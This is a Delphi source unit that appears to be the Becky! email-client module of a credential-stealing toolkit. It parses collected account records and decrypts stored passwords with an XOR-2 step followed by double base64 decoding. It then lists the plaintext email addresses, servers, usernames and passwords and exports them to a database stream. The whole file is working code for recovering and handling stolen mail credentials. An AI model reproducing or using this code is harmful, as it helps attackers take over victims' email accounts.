unit Mod_Becky;

interface

uses
  Windows, SysUtils, Classes, Mod_Common, Mod_TheBat, xBase;

type
  TModuleBecky = class(TModule)
  private
    procedure FreeAccountList;
    function DecryptPass(const Password: String): String;
  protected
    class function GetModuleName: String; override;
    class function GetModuleVersion: Integer; override;
    class function GetModuleID: Integer; override;
    function GetIsEmpty: Boolean; override;        
  public
    AccountList: TList;

    procedure Run; override;
    destructor Destroy; override;

    function GetAsText: String; override;
    procedure GetAsTree; override;

    procedure ExportModule(DBStream: TMemoryStream); override;
    procedure ImportModule(DBStream: TMemoryStream); override;
  end;

implementation

const
  TYPE_BECKY_SERVER	= 0;
  TYPE_BECKY_USER	= 1;
  TYPE_BECKY_PASS	= 2;
  TYPE_BECKY_EMAIL	= 3;

{ TModuleBecky }

function TModuleBecky.DecryptPass(const Password: String): String;
var
  i: Integer;
begin
  Result := '';
  for i := 1 to Length(Password) do
    Result := Result + Chr(Ord(Password[i]) xor 2);

  Result := DecodeBase64(DecodeBase64(Result));
end;

destructor TModuleBecky.Destroy;
begin
  FreeAccountList;
  inherited;
end;

procedure TModuleBecky.FreeAccountList;
var
  i: Integer;
begin
  if AccountList = nil then Exit;
  for i := 0 to AccountList.Count-1 do begin
    PTBAccountItem(AccountList.Items[i]).Email := '';
    PTBAccountItem(AccountList.Items[i]).Server := '';
    PTBAccountItem(AccountList.Items[i]).Password := '';
    PTBAccountItem(AccountList.Items[i]).User := '';
    Dispose(AccountList.Items[i]);
  end;
  AccountList.Free;
end;

procedure TModuleBecky.Run;
var
  DataItem: TDataItem;
  P: PTBAccountItem;
begin
  inherited;

  AccountList := TList.Create;
  P := nil;

  while HasMoreData do begin
    DataItem := ReadData;

    case DataItem.cType of
      TYPE_BECKY_USER: begin
        New(P); P.User := DataItem.Data;
        AccountList.Add(P);
      end;
      TYPE_BECKY_SERVER: if P <> nil then
        P.Server := DataItem.Data;
      TYPE_BECKY_EMAIL: if P <> nil then
        P.Email := DataItem.Data;
      TYPE_BECKY_PASS: if P <> nil then
        P.Password := DecryptPass(DataItem.Data);
    else begin
        FError := ERR_UNK_ITEM;
        Exit;
      end;
    end;
  end;
end;

function TModuleBecky.GetAsText: String;
var
  i: Integer;
begin
  Result := '';
  
  for i := 0 to AccountList.Count-1 do begin
    Result := Result + 'Email: ' + PTBAccountItem(AccountList.Items[i]).Email + #13#10;
    Result := Result + 'Server: ' + PTBAccountItem(AccountList.Items[i]).Server + #13#10;
    Result := Result + 'Password: ' + PTBAccountItem(AccountList.Items[i]).Password + #13#10;
    Result := Result + 'User: ' + PTBAccountItem(AccountList.Items[i]).User + #13#10;            

    Result := Result + #13#10;
  end;
end;

procedure TModuleBecky.GetAsTree;
var
  i: Integer;
begin
  Append(ModuleName, 'Этот модуль содержит e-mail пароли Becky', ICON_FOLDER);
  MoveIn;
  for i := 0 to AccountList.Count-1 do
    Append(PTBAccountItem(AccountList.Items[i]).Email, GenHTMLList(['Email: ' + PTBAccountItem(AccountList.Items[i]).Email, 'Server: ' + PTBAccountItem(AccountList.Items[i]).Server, 'User: ' + PTBAccountItem(AccountList.Items[i]).User, 'Password: ' + PTBAccountItem(AccountList.Items[i]).Password]), ICON_BECKY);
  MoveOut;
end;

class function TModuleBecky.GetModuleName: String;
begin
  Result := 'Becky';
end;

class function TModuleBecky.GetModuleID: Integer;
begin
  Result := MODULE_BECKY;
end;

class function TModuleBecky.GetModuleVersion: Integer;
begin
  Result := 0;
end;

function TModuleBecky.GetIsEmpty: Boolean;
begin
  Result := AccountList.Count = 0;
end;

procedure TModuleBecky.ExportModule(DBStream: TMemoryStream);
var
  i: Integer;
begin
  inherited;

  ExportData([AccountList.Count]);
  for i := 0 to AccountList.Count-1 do
    with PTBAccountItem(AccountList.Items[i])^ do
      ExportData([Email, Server, Password, User]);
end;

procedure TModuleBecky.ImportModule;
var
  i: Integer;
  P: PTBAccountItem;
begin
  inherited;

  AccountList := TList.Create;
  for i := 0 to ImportData-1 do begin
    New(P);
    with P^ do begin
      Email := ImportData;
      Server := ImportData;
      Password := ImportData;
      User := ImportData;
    end;
    AccountList.Add(P);
  end;
end;

end.
